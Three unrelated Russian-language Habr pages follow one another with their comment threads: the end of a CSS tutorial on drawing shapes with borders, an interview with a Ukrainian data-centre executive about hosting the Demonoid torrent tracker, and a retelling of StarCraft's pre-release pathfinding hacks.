.speech-bubble {
  position: relative;
  background-color: #292929;
  width: 200px;
  height: 150px;
  line-height: 150px; /* vertically center */
  color: white;
  text-align: center;
  border-radius: 10px;
  font-family: sans-serif;
}
 
.speech-bubble:after {
  content: '';
  position: absolute;
  width: 0;
  height: 0;
  border: 15px solid;
}
 
/* Position the Arrow */
 
.speech-bubble-top:after {
  border-bottom-color: #292929;
 
  left: 50%;
  bottom: 100%;
  margin-left: -15px;
}
.speech-bubble-right:after {
  border-left-color: #292929;
 
  left: 100%;
  top: 50%;
  margin-top: -15px;
}
 
.speech-bubble-bottom:after {
  border-top-color: #292929;
 
  top: 100%;
  left: 50%;
  margin-left: -15px;
}
 
.speech-bubble-left:after {
  border-right-color: #292929;
  top: 50%;
  right: 100%;
  margin-top: -15px;
}


Вертикальное центрирование текста

минус использования line-height при вертикальном центрировании в ограничении текста одной строкой. Для решения этой проблемы, можно применить display: table к нашему Speech Bubble и display: table-cell к тексту:
.speech-bubble {
 /* other styles */
  display: table;
}
.speech-bubble p {
  display: table-cell;
  vertical-align: middle;
}


Еще один пример нестандартного использования границ:
.biohazard {
  width: 0; height: 0;
  border: 60px solid;
  border-radius: 50%;
  border-top-color: black;
  border-bottom-color: black;
  border-left-color: yellow;
  border-right-color: yellow;
}


Итог


Использование параметра border не ограничивается одним лишь «1px solid black», с помощью границ можно создавать различные фигуры, причем достаточно один раз написать CSS-класс и применять его к множеству элементов на странице.
Punk_UnDeaD
Указан же ниже, не?
wcoder
Извините, раньше было сразу понятно.
Punk_UnDeaD
Раньше — это в каком году?
TheShock
…до весеннего обновления Хабра, полагаю.
guessss_who
Извините, но до весеннего обновления было также.
krovatti
Дорогие люди, в каждом без исключения топике-переводе появляется этот комментарий — «а где ссылка». Разберитесь уже в конце концов в интерфейсе Хабра и перестаньте безосновательно обвинять переводчиков в плагиате.
tangro
Я вот, например, довольно давно на хабре, и знаю, где находится эта самая ссылка, но так до сих пор так и не привык ее быстро находить. Вижу, что я не один такой.

И раз в каждом топике находится как минимум один такой, кто не находит, то может это не они все идиоты, а просто ссылка сделана незаметно, а?

Можно просто сделать еще одну строчку, перед тэгами, например, и там написать «Источник:» или «Оригинал:».

А?
king2
  Да-да, я тоже давно об этом говорил. Говорит о том, что интерфейс пометок о переводах несовершенен, просто признак незаметен читателю. И несколько месяцев назад в своих юзерскриптах сделал более явное выделение того, что статья обозначена как перевод.
  Сейчас это на Хабре — не очень понятная иконка «Z-Я». «Ну Z-Я», подумает читатель и пропустит как непонятное. Потому что содержание гораздо интереснее, и всё внимание переключено туда. Чтобы не всматриваться пристально в вид иконок, я просто пометил переводы синеватым фоном в заголовке.

Разницы совсем немного, но при чтении обращаешь внимание, что фон — синеватый. (То же — для топиков-ссылок, фон зеленоватый.) Вполне нормально помогает. Скрипт здесь: userscripts.org/scripts/show/121690, настройка скрипта, отвечающая за эту фичу — "подкраска переводов, топиков-ссылок, компаний", по умолчанию включена. (с ней ещё имена компаний подкрашиваются в заголовках, ныне — в «хабах»).
spmbt
И забыл сказать о следующей «суперфиче» по этому поводу. Клик по значку «Z-Я» в списке статей приводит к переходу на оригинал в новом окне (правда, это не очевидно и сам об этом не помню), а на странице статьи справа вверху появляется дубль информации — дата, автор и автор оригинала. Клик по автору оригинала — тоже переход на оригинал. Таким образом, и вверху, и внизу статьи есть ссылка на оригинального автора, а чтобы она по цвету несколько отличалась от автора статьи (переводчика) — сделано так:

Цвет едва заметно, но отличается от цвета автора. Этого достаточно.
spmbt
Поддержку, тоже после прочтения комментария начал искать ссылку.
Она маскируется под ссылку на страницу автора, где естественно оригинал на перевод не собираешься находить, поэтому она интуитивно пропускается.
olegsuv
Я тоже тут не первый месяц, но тем не менее вижу перевод сразу. ЧЯДНТ?
krovatti
"… во время поиска квартиры, видел один безумно дорогой дом, который я естественно не снял, но в нём, в частности, была устроена специальная огромная солнечная батарея, питающая электрическую сушку для белья. Не могу не поразиться техническим гением, решившим столь сложную задачу получения такого большого количества электрической энергии от солнца, а так же тем, что даже я знаю способ использования солнца для сушки белья ПРОЩЕ." (с) Китя Карлсон.
besisland
Вот я и говорю: перевод чаще всего гораздо проще определить по самому тексту, нежели лазить вокруг в поисках крупиц метаинформации.
king2
Перевод очень легко определить по иконке, изображённой слева от заголовка. Ваш К.О.
besisland
Если Вы можете сразе же слету определить, две маленькие красненькие надписи среди большого количества других мелких элементов, или одна — могу только позавидовать Вашему зрению.
krovatti
Спасибо. У меня действительно стопроцентное зрение.
king2
Я вот, например, довольно давно на хабре, и знаю, где находится эта самая ссылка, но так до сих пор так и не привык ее быстро находить. Вижу, что я не один такой.

А её и не надо быстро находить. Просто перед тем, как обвинять автора в плагиате — необходимо проверить, не перевод ли это
krovatti
Я автора ни в чем не обвинял. Однако думаю, что желающих перейти на оригинал текста гораздо больше, чем поглядеть на карму автора или, скажем, сделать что-то-там с фейсбуком или вконтактом.
TheShock
А я и не про вас)
king2
Спор о переводе и проблемах его отображения, чуть ли не больше, чем обсуждение статьи...)
Статья то, между прочим классная, про скругление например вообще не знал.
Как-то напыщено звучат вопли про перевод.
TheShock
ИМХО: Хорошая памятка.
Sargass
Отлично, спасибо. Вначале конечно всё банально, но дальше — прекрасно. Еще раз спасибо.
wcoder
Tooltip готов! =)
bumbay
самый последний пример сильно удивил, спасибо.
bumbay
Cool story
Fedcomp
А как с кроссбраузерностью? сглаживание углов работает ли или пиксельными ступеньками наклнная линия рисуется?
russum
oh shi...!

Никогда бы не подумал что у border может быть столько применений и что с его помощью можно такие вещи творить.

Однозначно запись в закладки.
alexbeep
не хватает, как минимум свойства border-image
есть даже сервис, для его генерации border-image.com
ilyachase
Огромное спасибо за статью. Начинающим дизайнерам — отличная памятка.
Да и не только начинающим. Хоть и не всегда необходимо так извращаться с «border» =)
Crystall
Скоро будут профессии css кодеры. Перевод JPG в вектор кросбраузерно.
sas1024
Только вот biohazard тут ни при чём.
ilyaProphet
Он вроде и не упоминается… :)
shmaltorhbooks
Разве что в названии последнего класса
Evengard
Упс… честное слово, вчера специально искал поиском по странице — не находил… а сегодня нашел… мистика какая-то? :)
spmbt
Ах, это… тут не спорю, обозначение сигнальной лампы накаливания на международный знак биологической опасности даже отдаленно похожим назвать трудно :)
Flanagun
Я полагаю, автор имел ввиду вот этот знак:
www.psdgraphics.com/file/3d-radiation-sign.jpg
Alexufo
Притом это довольно волная интерпретация.

en.wikipedia.org/wiki/Hazard_symbol
besisland
Нужные вещи. В избранное…
SelenIT2
К сожалению, использование border+outline для двойной границы — ненадежный метод.
Браузеры по разному интерпретируют само понятие outline, если свойство overflow у блока отлично от умолчального.
k0t
Outline вообще не предназначена для статического оформления, на то она и dynamic outline. А вот способ с тенью, по-моему, отличный!
SelenIT2
Вообще-то, border и outline это не параметры, а свойства. И жаль, что автор забыл про не самый очевидный способ гибкого закругления блоков: border-radius:50%
besisland
50% есть — 4-й рисунок сразу после соотв. заголовка. Вот бы еще все браузеры понимали это для всех элементов… ;)
SelenIT2
Значит не в самом очевидном месте. Там, где круги — об этом не говорится. Тексткейсы?
RUgaleFF
Хм, вижу лишь два примера с кругами (четвертый сразу после упоминания border-radius и «индикаторная лампочка») — оба с border-radius:50%… может, конечно, автор тихонько подправил… ;)

Тесткейс: jsfiddle.net/x56G6/34/ — актуальная Опера 11.62, Win7 x86… увы :(
besisland
«Суровые питерские верстальщики используют не border, а поребрик»
sanzstez
Нет, это вы ошибаетесь. :)
dom1n1k
Не знаю где вы были, но у меня в точности наоборот.
SelenIT2
А вы откуда?
pepelsbey
Сургут
SelenIT2
Я когда-то схлопотал милый факап – нужно было сделать прямоугольник, сверху от которого торчал треугольник, и оба эти элемента обведены поребриком. Получилось вот что: dabblet.com/gist/1630070
pepelsbey
Очень понравился лимон. Сделал версию лимона, созревающего при наведении мыши. :)

.lemon {
    margin-top: 25px;
    margin-left: auto;
    margin-right: auto;
    width: 200px;
    height: 200px;
    background: #00d519;
    border: 1px solid #00a714;
    -webkit-border-radius: 10px 150px 30px 150px;
    -moz-border-radius: 10px 150px 30px 150px;
    border-radius: 10px 150px 30px 150px;
    -webkit-transition: background-color 1s ease-in-out, border-color 1s ease-in-out;
    -moz-transition: background-color 1s ease-in-out, border-color 1s ease-in-out;
    -o-transition: background-color 1s ease-in-out, border-color 1s ease-in-out;
    transition: background-color 1s ease-in-out, border-color 1s ease-in-out;
    -webkit-box-shadow: #ccc 0 0 15px;
    -moz-box-shadow: #ccc 0 0 15px;
    box-shadow: #ccc 0 0 15px;
}

.lemon:hover {
    background-color: #F5F240;
    border-color: #F0D900
}
SelenIT2
Пример с псевдоэлементами не заработал с pre почему-то. упорно по высоте в один символ и минимален по ширине, вместо того, чтобы обёртывать контейнер.
Недавно весь интернет гудел о переезде The Pirate Bay в Украину. И хоть слухи не подтвердились, выяснилось, что у нас размещается другой известный на весь мир трекер – Demonoid. О том, каково это – хостить один из крупнейших пиратских сайтов современности, мне рассказал Пётр Власенко, коммерческий директор компании Colocall.


Сервера трекера Demonoid в дата-центре Colocall

Несмотря на всемирную популярность сайта Demonoid.com, о нём мало что известно. Его админы не отвечают на письма и не дают интервью, их настоящие имена не знает даже полиция, а на сам трекер можно попасть лишь по приглашению.

После конфликта с медиамагнатами в Нидерландах, Канаде и Малайзии в апреле 2008-го года он переехал к нам. Их текущий провайдер Colocall никак не афишировал причастность к сайту и через полтора года молчания впервые согласился на интервью. Для блога pazzive.livejournal.com.



– Пётр, у вашей компании самый большой дата-центр в Украине, верно?

– По разным оценкам от первого до третьего. Мы не следим за рейтингами, это занятие для молодых компаний.

– Почему вы решили хостить Demonoid?

– К нам пришёл клиент и заказал определённую услугу. Мы долго вели с ним переговоры, он выяснял все детали пару месяцев, не меньше. Для нас это не было политическим решением, Demonoid – обычный клиент на самых обычных условиях.


Логотип трекера Demonoid.com

– Что именно размещается у вас, трекер inferno.demonoid.com?

– Они привезли свои сервера, которые сейчас стоят в нашем дата-центре. Мы не знаем, что на них находится – у нас нет доступа к этой информации, а сопровождаются они удалённо техническими специалистами Demonoid-а.

– Как можно связаться с админами Demonoid-а?

– Они не ответят. С ними хотят связаться многие: журналисты, поклонники, службы самых разных стран. Но админы Demonoid-a очень избирательно подходят к переписке. Когда нашим правоохранителям нужно было с ними связаться, я специально предупреждал, чтобы они ответили на запрос.

– Ими уже интересовались наши органы?

– Органы ими интересуются всё время. Ассоциации правообладателей постоянно пытаются оказывать на нас давление, в том числе и через украинские органы. Мы перенаправляем их на админов, а сами не вмешиваемся и не ведём переговоры.

– На вас давят?

– Украина, как ни странно это звучит, всё же достаточно правовое государство. Поэтому мнение каких-нибудь IFPI – это всего лишь их частное мнение, несмотря на то, что бюджеты их участников сопоставимы с бюджетом Украины.


Сервера трекера Demonoid в дата-центре Colocall

– Не боитесь, что Demonoid может повторить судьбу Инфостора и маски-шоу вынесут сервера сайта?

– Работа дата-центра учитывает такие риски. Это может случиться не только с Demonoid-ом, но и с любым клиентом. Мы ведь не контролируем, что лежит на серверах, купить наши услуги может любой желающий.

– Сейчас антипираты и медиалобби хотят переложить всю ответственность за файлообмен на провайдеров, чтобы те следили за своими пользователями. Отразится ли это на хостинг-провайдерах?

– Периодически в Верховной Раде проскакивают такие законопроекты. Но в украинском законе «О связи» чётко прописано, что провайдер не отвечает за контент своих клиентов. А то, что хотят правообладатели – это их частное мнение, они не являются законодательными органами. Пусть купят себе депутата и пролоббируют такой закон, тогда мы его выполним. Пока такого закона нет – они нам никто и мы им тоже.

– Как вы вообще относитесь к усилению копирайт-законов?

– Я не могу к ним относиться хорошо, поскольку комании, где я работаю, да и прочим интернет-провайдерам эта борьба доставляет определенные хлопоты.

Медиакорпорации уже проиграли в этой борьбе, упустив момент, когда контент пошёл в сеть. Они привыкли продавать вещи и не понимают, как информация может быть без упаковки, красивого диска, голографической наклейки и штрих-кода. Мир изменился, а они – нет. Сейчас они цепляются за старые схемы, лоббируя «нужные» законы. Но остановить пиратство скорее всего уже не получится.

– Гендиректор Sony Pictures Майкл Линтон заявил, что «Интернет не дал нам ничего хорошего». Действительно ли развитие сети ведет к коллапсу аудио-видеоиндустрии?

– Понятно, что продавцам лошадей развитие автомобильного транспорта не принесло ничего хорошего.
– А что хорошего интернет дал Вам?

– Во-первых, рабочее место. Неограниченный источник информации – я забыл, когда последний раз был в библиотеке. Ну и главное – общение. В реальности трудно найти человека со схожими интересами, а при помощи интернета это сделать гораздо проще.

– Месяц назад Demonoid сообщил о технических проблемах, из-за которых пропали данные за последние несколько месяцев. Чтобы восстановиться, с 14 сентября сайт ушёл в оффлайн. Вы в курсе, что случилось?

– Какое-то время назад у них в одной из стоек полетели винчестеры. Но это было раньше, а что за трудности у Demonoid-а сейчас, мы не знаем.

– По словам их админов, человек, который может восстановить трекер, недоступен. Речь идёт о вашем программисте?

– Нет, всю техническую поддержку серверов они осуществляют удалённо. Речь не идёт о наших специалистах.

– Torrentfreak писал о президенте литовских антипиратов, который требовал закрыть доступ к Demonoid-у и заявил, что с вами «чрезвычайно трудно связаться». Вы с ним общались?

– Да, нам звонил какой-то хамоватый мальчик, с которым мы просто не смогли говорить: он сразу же начал угрожать, абсолютно неконструктивный человек. Мы отправили его в суд, сказав, что если он принесёт решение суда, мы с радостью его выполним, так как выполняем все украинские законы. А пока такого решения нет, говорить с ним мы не будем.

– Сейчас доступ к Demonoid-у блокирован для определённых стран, в том числе и для Украины. Это ваша инициатива или решение админов трекера?

– Мы никак на это не влияем, это политика трекера. Я думаю, не в последнюю очередь это связано с DDoS-атаками.

– А их атакуют?

– Да, DDoS-атаки есть, большие и серьёзные. Но это всегда проблема хостинг-провайдера. Мы научились с ними справляться, на работе Demonoid-а они почти не сказываются. И, кстати, атакуют не только их: на прошлых выборах мы хостили сервер Центризбиркома, так его постоянно пытались завалить.


Логотип хостинг-провайдера Colocall, приютившего трекера Демоноида

– Не скучаете по тем временам, когда онлайн существовал отдельно от оффлайна?

– Раньше, конечно, было свободнее. Меньше пользователей, образовательный уровень которых был выше, ведь Интернет начинался как игрушка интеллектуалов. Сейчас им пользуется каждый школьник, хотя лично мне это не мешает.

– Есть ли минусы в такой популяризации цифровых технологий? Не пугает обилие низкокачественной продукции в сети?

– У технологий нет минусов. Любой каталог библиотеки тоже содержит 90% мусора. Возможно, в интернете его 99%, но это не исключает наличия чего-то стоящего. Главное – понимать, что именно нужно найти, тогда никакой мусор мешать не будет.

– По словам Марка Гетти, владельца фотобанка Getty Images, «интеллектуальная собственность — это нефть XXI века». Как считаете, он прав?

– До 2000-го года были и более громкие заявления, закончившиеся мыльным пузырём дот-комов. Видимо, пришло время надувать пузырь 2.0.

– Понятие «интеллектуальная собственность» связано с дилеммой: информация не материальна, поэтому не имеет цены. Но создающим её людям нужно платить за работу. Можно ли решить эту дилемму?

– Она решается уже несколько веков постоянно меняющимися схемами. Одной из них было книгопечатание – ведь уже тогда продавалась информация, а не бумага с обложкой. На тот момент вопрос продажи интеллектуальной собственности решился так, потом появились патенты и торговля ими. Со временем будут и новые решения.

– А что будет дальше? Возможно ли найти компромисс между медиакорпорациями и пиратами?

– Компромисс невозможен. Это вечная борьба щита и меча, защиты и нападения. Каждый раз, когда будут появляться новые законы, найдут и способы их обойти. Не будет торрентов – появится другая технология, этот процесс уже не остановить.
AleXSuS
Хорошее интервью и интересный собеседник.
pazzive
спасибо!
sattan
большое спасибо за пост. прочитал с интересом.
kabachok
Хорошая реклама, теперь к ним ломануться все варезники :D
user3000
Они уже и так почти все тут. Недавно еще один трекер переехал на Украину. Это uniongang.ru (R.G. Электричка), теперь он хостится в ДЦ Воля.
kabachok
прикольно, не знал. Спасибо за адрес трекера электрички, у них хорошие релизы.
user3000
Да, только 10 долларов за регистрацию готовьте.
vosi
а так-же реклама супермикры ) вроде ж супермикра на фотке?
kabachok
они то в рекламе не нуждаются :)
aquamber
Наконец-то вы пришли на хабр)
pazzive
надо же, а меня здесь ждали? приятно :)
kozyabozya
ждали :)
persei
Кармы у вас достаточно, перенесите в тематический блог, пожалуйста
pazzive
спасибо, перенёс. хотел сразу туда, но не пустило из-за кармы.
здесь удалять? или можно, чтобы висел?
falone
Вы перенесите именно этот топик, а не копируйте топики и туда, и сюда. Но, конечно, если интервью выложено у Вас в ЖЖ, то лучше оставить топик-ссылку.
В любом случае, интервью понравилось
pazzive
спасибо!
топик перетащил, но как из него сделать топик-ссылку, пока не разобрался.
nooze
Из этого уже не сделать, оставляйте как есть
takkmoil
а на сам трекер можно попасть лишь по приглашению

takkmoil
Илита! Этих инвайтов на демоноид — пруд пруди. Кто хотел, давно уже посмотрел и потрогал.
Masterkey
и как ощущения?
l0ser140
при наличии тех же t.ru и бухты нужны в демоноиде не испытываю…
kurokikaze
Трекер как трекер.
turtus
там музыки редкой много, но как переехали и пришлось через прокси лазить (кстати, только к сайту, с трекера качается и так) — так как-то стало неинтересно
takkmoil
Вам всё уже рассказали :)

Музыки действительно редкой много, но не так много её в lossless. В целом — трекер как трекер, поисковые фильтры удобные и маниакальных требований к оформлению раздач нет.
xy4
Использовал чтобы инвайт на брокенстоунс получить, ну и пока его не получил, оттуда в основном маковский софт тянул.
vimanga
В интервью говорится что это не так
nooze
Хостер и не скажет, что из-за скачка электричества сгорело не их оборудование. А может это и не правда все. Просто зная, как в соседних домах от скачков выгорает в подъездах все под чистую и не помогают никакие защиты, склонен верить в первое.
AmoN
У них в датацентре подстанция скорее всего своя даже, раз говорят, что один из крупнейших в стране.
l0ser140
бга бга
как человек, знающий о цод-ах Украины, скажу, что у колокольни постоянные проблемы с питанием, доходило даже до юмора, когда ихние спецы не могли разобраться, как работает новокупленный генератор, и весь дц пал на пару часов
хотя, с другой стороны, ихний днепропетровский цод, по отзывам, хорош

ну и ложка дегтя другому намба ван Украины, цод Укртелекома, последнее падение на 8 часов было в начале лета, обесточен был весь цод, даже в супорт не дозвониться
vosi
Ладно, чего там. По всей Украине траблы с электричеством, но можно же было поставить бесперебойник, есть такие специальные юнитовые.
Andrey_Rogovsky
ага, парадокс, страна, которая продает електричество направо и налево, сама себя не может нормально обеспечить
ну да, в курсе, проблема на другом уровне, на уровне подстанций, трансформаторных… но все-же
vosi
Такие бесперебойники долго не протянут, по сути они нужны для мягкого перехода на резервный генератор, ему нужно время чтобы завестись и выдти на требуемую мощность, на это требуется несколько минут (ну конечно зависит от степени автоматизации, возможно потребуется завести в ручную)
kabachok
да ладно вам, чуваки тока переехали в новое здание, видимо там еще ничего не было сделано с электрикой, питались от главной розетки… всяко бывает :)

больше ж не падали :)
maserg
Вы о ком?
vosi
об нём -> дц Укртелекома
maserg
ага, привезли какие-то неруси шайтанов заморских в датацентр Укртелекома, включили их в розетку единственую без чайника служивых людей оставив. Сервера гудят, огоньками подмигивают да биты по проводам гоняют. Посмотрели админы на все это безобразие, да святой водой осветили.
Так полетело все оборудование.
dicos
Ну не знаю, нормальный ИБП сам сгорит а технику в обиду не даст.
Это как надо безалаберно относится к оборудованию в ДЦ чтобы оно горело от перепадов напряжения
nooze
У меня пошлые ассоциации на их логотип.
corp
А на логотип ФК Шахтер?
Nesp
Пришлось погуглить. Логотип Шахтера таких ассоциаций не вызывает, странно.
ivankin
что вы там увидели, мне интересно?
Nesp
спасибо, мне понравилось интервью — равно и вопросы и ответы.
Agent_Smith
отличное интервью! спасибо
non7top
А ребята из демонойда из какой страны?
Dr_Zoidberg
Когда увидел обрезок фото — удивился. Когда под катом увидел полную фото — обомлел. А ведь еще не все работают. Видно, что серьезные люди, не общаются по мелочам.
DieselDraft
одно из самых интересных интервью, что я читал за последнее время :-) спасибо
matt
А зачем столько винтов сфотографировано? Создаётся ощущение, что они все файлы у себя хранят)
as3k
Боюсь сказать особо банальную вещь, но, наверное, это RAID-массив — для скорости доступа или сохранности данных.
kastaneda
Не думал, что рэйды могут быть настолько большими о_О Теоретически предположить — для обеспечения функций трекера особо много места не надо? Или я ошибаюсь? Неужели все остальные винты могут быть зеркальными?
seventh
А почему нет ) представляете какая скорость на чтении? )
moroz1999
Понимаете — серверные винчестеры далеко не по 2ТБ размером, а по 70-140 ГБ, там объем не важен, самое главное скорость доступа.
А если взять и высокую посещаемость, то может выйти что 1н сервер — балансироващик нагрузки (раскидывает запросы по другим серверам) а те которые «под» ним и есть копии друг друга, к примеры если мы с вами зайдем на демоноид
вас может обслуживать один сервер, а меня совершенно другой.
А по фотке сложно однозначно оценить необходимость такого кол-ва серверов/винтов
seventh
о! рейды могут быть, например, такими

это StorageWorks Modular Smart Array 1000 (Scaleable from 3 to 42 drives via HP StorageWorks 4200/4300 Enclosures )
Или даже StorageWorks 70 Modular Smart Array — на 25 дисков. в одном модуле.
kurokikaze
Отличное интервью, очень понравился трезвый взгляд на вещи.
bimcom
Странно: «их (админов) настоящие имена не знает даже полиция», «Их текущий провайдер Colocall никак не афишировал причастность к сайту» — как это так? По-моему, на раз определяется: кто хостер сайта и через него — кому сайт принадлежит. Я что, неправ?
intnzy
Не кому сайт принадлежит, а на какое лицо зарегистрирован сайт. А где это лицо это уже другая прблема
moroz1999
оффтопим
зы
депутаты не в правительстве, если чо )
b8c6
Это во всех демократичесих странах так. Только цены отличаются.
sleepwalker
Хорошо что в Украине так зарегулированы законы. У нас в РК как-то странно для трекеров все устроено.
vosi
Хм, какие-то демократичные цены на VDS / dedicated.
vosi
Понравился «хамоватый мальчик» — великолепная характеристика.
leave
Спасибо, интересно.
Solival
В ЦОДе проблемы с температурой? :) На всех серверах горит красный индикатор…
smartly
не на всех, а на тех где воздухозаборник заклеен бумажкой желтой с именем трекера… дебилизм вообщето!
Ashina
торможу, это же одноюнитовых пачка, крупным планом…
Arceny
:) На других серверах вряд ли по-другому, т. к видно, что изначально распечатаны широкие наклейки и на них далее вручную наносят маркировку.
Colobock
это отражение вспышки фотоаппарата
Surgeon
После такого интервью только и остаётся, что сказать «Спасибо»!
SchrodingersCat
отличное итервью. спасибо за инфо.
postdig
Спасибо, отличное интервью.
postdig
Товарищ интересен весьма и весьма, черт побери. И ДЦ смелый весьма, в РФ вряд ли кто-то взял бы тот же демоноид или бухту, с их политикой общения с правообладателями. Удачи им)

Ассоциация с продавцами лошадей мне особенно понравилась.
SchrodingersCat
«Не будет торрентов – появится другая технология, этот процесс уже не остановить.»
все верно
хочу дожить до тех времен, когда всякие RIAA это поймут
dimka_ua
Медиакорпорации уже проиграли в этой борьбе, упустив момент, когда контент пошёл в сеть. Они привыкли продавать вещи и не понимают, как информация может быть без упаковки, красивого диска, голографической наклейки и штрих-кода. Мир изменился, а они – нет. Сейчас они цепляются за старые схемы, лоббируя «нужные» законы. Но остановить пиратство скорее всего уже не получится.


Это точно раньше надо было думать когда это все начиналось и самим лезть в струю а не пытаться что то сейчас выжать. «Боюсь» что это уже не остановить.
ZoomZoomZoom
Еще одно-два поколения…
Olif
>Пусть купят себе депутата и пролоббируют такой закон

Хорошо сказал


Один из ведущих разработчиков Warcraft и Starcraft Патрик Вайат периодически публикует воспоминания о своей работе в компании Blizzard в 90-е годы. Очень интересно посмотреть изнутри на процесс разработки игр, которые стали впоследствии культовыми. В последней заметке Патрик поведал замечательную историю, как пришлось впопыхах исправлять баги в StarCraft перед выпуском игры и что из этого получилось.

Разработчикам приходилось работать в условиях жёсткого дедлайна. Они постоянно стояли перед фактом, что релиз состоится «через два месяца», так что у них было время исправить критические баги, но не было времени внести фундаментальные изменения и переписать часть кода, чтобы устранить причину этих багов.

Финальный релиз игры откладывался снова и снова, но дедлайн «два месяца» оставался неизменным. Отсюда и растут ноги у тех «грязных хаков», о которых рассказывает Патрик Вайат.

Почему компания поставила такой дедлайн? Дело в том, что на игровой конференции E3 в 1996 году компания Ion Storm неожиданно показала потрясающую демку Dominion Storm.



В это время практически готовый к выпуску StarCraft выглядел примерно так.



Какую бы игру вы купили, будь у вас выбор, задаёт риторический вопрос Патрик Вайат. Разработчики Blizzard отошли от шока и приняли решение переписать графический движок StarCraft под изометрические тайлы.

Графический движок полностью переделали, и в условиях дедлайна Патрика Вайат с коллегами бросились закрывать баги. Он говорит, что их были «тысячи». Некоторые мог выявить и устранить один разработчик за пару часов. Другие — как баг синхронизации в многопользовательском режиме — требовали сконцентрированной работы нескольких разработчиков в течение нескольких дней. Была и третья категория багов, которые связаны с пробелами в процессе разработки. Например, код протосса-авианосца (Protoss Carrier) в своё время выделили в отдельную ветку, и не смогли влить её обратно. Таким образом, этот протосс существовал отдельно от основного кода, и любые изменения, которые вносились во все юниты, нужно было потом отдельно вносить в него. Также и любые выявленные баги в игре нужно было отдельно исправлять в авианосце. В итоге вышло, что он вообще всё делал особым образом, выделяясь среди всех юнитов. Можно было бы и «убить» этот юнит, но уж очень он всем полюбился, так что авианосец решили оставить.

Патрик Вайат говорит, что особенно большое количество багов возникло с работой движка по поиску маршрутов для юнитов (path-finding). Если графический движок переписали под изометрические тайлы, то алгоритм поиска маршрутов в условиях дедлайна решили взять старый, от Warcraft (в отличие от Diablo, куда встроили полноценный изометрический движок передвижения юнитов). Он был оптимизирован под тайлы 32х32 пиксела, составленные из 16 ячеек по 8х8 пикселов. Такую схему выбрали в своё время, чтобы оптимизировать графику под приставку Super Nintendo, поскольку там имелось аппаратное ускорение для рендеринга тайлов 8х8.

Поскольку камера в Warcraft I и II смотрит сверху вниз, края графических объектов (лес, строения, объекты местности) имеют либо горизонтальное, либо вертикальное положение, и поиск маршрута для юнитов осуществлялся без проблем. Каждый тайл 32х32 был либо проходим целиком, либо непроходим. На скриншоте зелёным показаны рассматриваемые алгоритмом границы тайлов, а красным — непроходимые.



Но для StarCraft графику сделали изометрический, так что игра стала визуально более привлекательной. Чтобы старый движок поиска маршрутов работал на изометрической графике, пришлось увеличить разрешение карты: теперь каждый тайл 8х8 должен быть проходим или непроходим. Хотя лучшее разрешение позволило поместить больше юнитов на карту, но нагрузка для вычисления маршрута увеличилась в 16 раз!

Дополнительную проблему создало то, что из-за диагональной изометрической графики появилась куча пограничных ситуаций, когда было непонятно, помечать тайл проходимым или нет. На скриншоте показано, как изометрическая графика делит тайлы на фигуры неправильной формы.



Из-за этого вылезла целая куча глюков. Некоторые удалось быстро исправить, но другие очень раздражали. Например, самым неприятным был глюк с возникновением пробок во время добычи ресурсов у рабочих юнитов (SCV терранов, дрон зергов, зонд протоссов). В какой-то момент один из юнитов вставал у пути у другого, тот останавливался, преграждая путь третьему, и т.д. Возникала глухая пробка, из-за которой останавливалась вся добыча. Поскольку игрок обычно занят другими задачами (строительство зданий, участие в боях и т.д.), он не замечал проблему вовремя, пока вся экономика не обрушилась из-за нехватки денег.

Истоки проблемы в том, что игроки пытались до предела увеличить количество рабочих юнитов, отправляя их на один и тот же источник ресурсов. Поэтому юниты двигались по схожим маршрутам и могли мешать друг другу.

Патрик Вайат изучил проблему и понял, что у него не хватит ума решить её фундаментальным образом, изменив алгоритм. Юниты постоянно меняют свои координаты и должны, следовательно, постоянно пересчитывать маршрут, в зависимости от маршрутов других юнитов (кстати, эта задача близка к NP-полным задачам). Поэтому он решил, что здесь не обойтись без грязного хака — и он полностью удалил часть кода, которая отвечала за предотвращение столкновений рабочих юнитов с другими юнитами.

Таким образом. рабочие юниты смогли буквально проходить друг сквозь друга, проблему с пробками решили. Разработка продолжилась, и вскоре игру выпустили в продакшн. Хотя изъяны в движке поиска маршрутов давали о себе знать. Например, протосс-драгун заслужил плохую репутацию в этом отношении, потому что он как самый большой наземный юнит чаще других отказывался идти по оптимальному маршруту.

P.S. Релиз StarCraft состоялся в мае 1998 года. Кстати, игра Dominion Storm вышла только через месяц после StarCraft, и вообще не оправдала ожиданий. Как выяснилось, в компании Ion Storm в те годы разразился острый конфликт между руководством и разработчиками. Патрик Вайат ссылается на эту статью и в качестве примера приводит «свою любимую» цитату, чтобы понять, как общались в компании: «Ещё скажи спасибо, что мы списали твою машину и дом, грёбаная ты крысолицая с#ка». Очевидно, что в такой рабочей атмосфере трудно было сделать выдающуюся игру. Да и вышеупомянутая демка на игровой конференции E3 в 1996 году, как выяснилось, была фальшивкой. Впрочем, Патрик не обижается на конкурентов, а даже благодарен им за то, что они «дали нам хорошего пинка под зад» и вынудили сделать игру качественно иного уровня.

По теме:
Патрик Вайат, «Создание Warcraft» (перевод): первая часть, вторая часть, третья часть.
TheShock
Очень классная история.
Вообще, глядя на оба скрина мне кажется, что проблема была не так в отсутствии изометрии, как в отвратительном кислотном арте.
Даже просто перерисовав старый арт под тот стиль Старика, который мы видели — уже бы получили отличный результат.
Но да, очень хорошо, что они таки переделали)
azproduction
«в отвратительном кислотном арте» — да уж. Наверно, история была немного другой «полностью удалил часть кода» + «полностью уволил отдел гейм-арта» :)
silencer
как в отвратительном кислотном арте

Ну так «Орки в космосе».
Хорошо что от этой идеи отказались. Что хорошо для фэнтези сеттинга, не очень хорошо подходит для НФ.
Stdit
Фанаты вархаммера вряд ли согласятся. :)
cleg
Они хотели делать игру по вселенной 40к, но геймз воркшоп не согласились и близзард пошли своим путем, об этом Патрик писал в одной из статей.
Он говорит что это было к лучшему, т.к. они не были ограничены лицензией, не должны были платить роялти, ну и т.д.
Voley
Ну почему, сперли фактически только идею спейс маринов, да и идею зергов — но они обе были не новы.
Вся стратегия, разработка и т.д.
cleg
ну просто слишком похожи некоторые моменты для того чтоб быть просто «источником вдохновения».
Voley
Вы еще Warcraft с Warhammer FB сравните…

Да, похожи некоторые моменты. Но в результате мы имеет самобытную игру с совершенно самостоятельной вселенной, и в случае Starcraft и в случае Warcraft.
А сражений «человеки будующего» vs «неведомая космическая насекомоподобная хрень» в истории фантастики достаточно.
cleg
Даже если они были изначально 1 в 1 слизаны с последующей сменой названия — разве плохо получилось?

